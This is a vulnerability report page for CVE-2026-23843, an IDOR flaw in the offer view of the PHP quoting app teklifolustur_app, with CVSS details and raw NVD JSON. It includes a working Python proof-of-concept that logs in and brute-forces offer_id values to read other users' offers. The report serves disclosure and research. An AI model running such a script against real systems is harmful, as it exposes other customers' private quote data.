Security Vulnerability Report
中文
CVE-2026-23843 CVSS 7.1 HIGH

CVE-2026-23843

Published: 2026-01-19 19:16:05
Last Modified: 2026-04-15 00:35:42

Description

teklifolustur_app is a web-based PHP application that allows users to create, manage, and track quotes for their clients. Prior to commit dd082a134a225b8dcd401b6224eead4fb183ea1c, an Insecure Direct Object Reference (IDOR) vulnerability exists in the offer view functionality. Authenticated users can manipulate the offer_id parameter to access offers belonging to other users. The issue is caused by missing authorization checks ensuring that the requested offer belonged to the currently authenticated user. Commit dd082a134a225b8dcd401b6224eead4fb183ea1c contains a patch.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

teklifolustur_app < dd082a134a225b8dcd401b6224eead4fb183ea1c

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-23843 IDOR PoC # Target: teklifolustur_app # Vulnerability: Insecure Direct Object Reference in offer view import requests import sys from concurrent.futures import ThreadPoolExecutor TARGET_URL = "http://target.com" LOGIN_URL = f"{TARGET_URL}/login" OFFER_VIEW_URL = f"{TARGET_URL}/offer/view" def login(session, username, password): """Authenticate with valid credentials""" data = { 'username': username, 'password': password } response = session.post(LOGIN_URL, data=data) return response.status_code == 200 def exploit_idor(session, offer_id): """Exploit IDOR by manipulating offer_id parameter""" params = {'offer_id': offer_id} response = session.get(OFFER_VIEW_URL, params=params) if response.status_code == 200: # Check if unauthorized offer data is returned if 'offer_details' in response.text or 'customer_info' in response.text: return { 'offer_id': offer_id, 'status': 'VULNERABLE', 'data_length': len(response.text) } return None def main(): if len(sys.argv) < 4: print("Usage: python poc.py <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] session = requests.Session() print("[*] Logging in...") if not login(session, username, password): print("[-] Login failed") sys.exit(1) print("[*] Exploiting IDOR vulnerability...") # Brute force offer_id to access other users' offers with ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(exploit_idor, session, i) for i in range(1, 1000)] for future in futures: result = future.result() if result: print(f"[+] Found vulnerable offer: {result}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23843", "sourceIdentifier": "[email protected]", "published": "2026-01-19T19:16:04.660", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "teklifolustur_app is a web-based PHP application that allows users to create, manage, and track quotes for their clients. Prior to commit dd082a134a225b8dcd401b6224eead4fb183ea1c, an Insecure Direct Object Reference (IDOR) vulnerability exists in the offer view functionality. Authenticated users can manipulate the offer_id parameter to access offers belonging to other users. The issue is caused by missing authorization checks ensuring that the requested offer belonged to the currently authenticated user. Commit dd082a134a225b8dcd401b6224eead4fb183ea1c contains a patch."}, {"lang": "es", "value": "teklifolustur_app es una aplicación PHP basada en web que permite a los usuarios crear, gestionar y rastrear cotizaciones para sus clientes. Antes del commit dd082a134a225b8dcd401b6224eead4fb183ea1c, una vulnerabilidad de Referencia Directa Insegura a Objeto (IDOR) existía en la funcionalidad de vista de ofertas. Los usuarios autenticados podían manipular el parámetro offer_id para acceder a ofertas que pertenecían a otros usuarios. El problema era provocado por la falta de comprobaciones de autorización que asegurasen que la oferta solicitada pertenecía al usuario actualmente autenticado. El commit dd082a134a225b8dcd401b6224eead4fb183ea1c contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/sibercii6-crypto/teklifolustur_app/commit/dd082a134a225b8dcd401b6224eead4fb183ea1c", "source": "[email protected]"}, {"url": "https://github.com/sibercii6-crypto/teklifolustur_app/security/advisories/GHSA-6h9r-mmg3-cg7m", "source": "[email protected]"}]}}